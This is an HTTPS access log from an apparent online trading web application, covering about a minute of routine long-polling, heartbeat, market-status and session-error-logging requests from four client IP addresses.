[09/Jan/2026:13:59:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:59:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938619965 HTTP/1.1" -
[09/Jan/2026:13:59:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:59:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938626820 HTTP/1.1" -
[09/Jan/2026:13:59:13 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938620900 HTTP/1.1" -
[09/Jan/2026:13:59:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938639251 HTTP/1.1" -
[09/Jan/2026:13:59:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938625102 HTTP/1.1" -
[09/Jan/2026:13:59:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938631900 HTTP/1.1" -
[09/Jan/2026:13:59:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938625974 HTTP/1.1" -
[09/Jan/2026:13:59:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:59:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:59:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938644271 HTTP/1.1" -
[09/Jan/2026:13:59:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938630159 HTTP/1.1" -
[09/Jan/2026:13:59:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938636994 HTTP/1.1" -
[09/Jan/2026:13:59:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938631050 HTTP/1.1" -
[09/Jan/2026:13:59:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:59:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:59:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938649300 HTTP/1.1" -
[09/Jan/2026:13:59:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938635290 HTTP/1.1" -
[09/Jan/2026:13:59:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938642027 HTTP/1.1" -
[09/Jan/2026:13:59:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938636114 HTTP/1.1" -
[09/Jan/2026:13:59:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938654320 HTTP/1.1" -
[09/Jan/2026:13:59:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938640425 HTTP/1.1" -
[09/Jan/2026:13:59:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938647095 HTTP/1.1" -
[09/Jan/2026:13:59:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938641395 HTTP/1.1" -
[09/Jan/2026:13:59:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938659394 HTTP/1.1" -
[09/Jan/2026:13:59:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:59:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938645558 HTTP/1.1" -
[09/Jan/2026:13:59:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938652193 HTTP/1.1" -
[09/Jan/2026:13:59:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938646478 HTTP/1.1" -
[09/Jan/2026:13:59:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938664462 HTTP/1.1" -
[09/Jan/2026:13:59:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:59:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:59:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:59:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938650615 HTTP/1.1" -
[09/Jan/2026:13:59:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938657255 HTTP/1.1" -
[09/Jan/2026:13:59:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938651672 HTTP/1.1" -
[09/Jan/2026:13:59:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938669527 HTTP/1.1" -
[09/Jan/2026:13:59:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938655661 HTTP/1.1" -
[09/Jan/2026:13:59:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938662337 HTTP/1.1" -
[09/Jan/2026:13:59:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:59:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:59:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938656767 HTTP/1.1" -
[09/Jan/2026:13:59:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938674560 HTTP/1.1" -
[09/Jan/2026:13:59:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938667407 HTTP/1.1" -
[09/Jan/2026:13:59:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938660809 HTTP/1.1" -
[09/Jan/2026:13:59:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:59:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938661829 HTTP/1.1" -
[09/Jan/2026:13:59:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:59:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:59:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938679620 HTTP/1.1" -
[09/Jan/2026:13:59:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938672440 HTTP/1.1" -
[09/Jan/2026:13:59:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938665932 HTTP/1.1" -
[09/Jan/2026:13:59:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938666871 HTTP/1.1" -
[09/Jan/2026:13:59:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938684654 HTTP/1.1" -
[09/Jan/2026:14:00:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938677506 HTTP/1.1" -
[09/Jan/2026:14:00:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938671093 HTTP/1.1" -
[09/Jan/2026:14:00:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938672108 HTTP/1.1" -
[09/Jan/2026:14:00:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:00:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938689717 HTTP/1.1" -
[09/Jan/2026:14:00:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938682598 HTTP/1.1" -
[09/Jan/2026:14:00:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938676251 HTTP/1.1" -
[09/Jan/2026:14:00:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938677164 HTTP/1.1" -
[09/Jan/2026:14:00:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938694775 HTTP/1.1" -
[09/Jan/2026:14:00:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:00:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:00:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:00:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938687670 HTTP/1.1" -
[09/Jan/2026:14:00:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938681309 HTTP/1.1" -
[09/Jan/2026:14:00:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938682235 HTTP/1.1" -
[09/Jan/2026:14:00:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938699804 HTTP/1.1" -
[09/Jan/2026:14:00:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938692767 HTTP/1.1" -
[09/Jan/2026:14:00:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938686369 HTTP/1.1" -
[09/Jan/2026:14:00:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:00:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:00:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:00:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938687306 HTTP/1.1" -
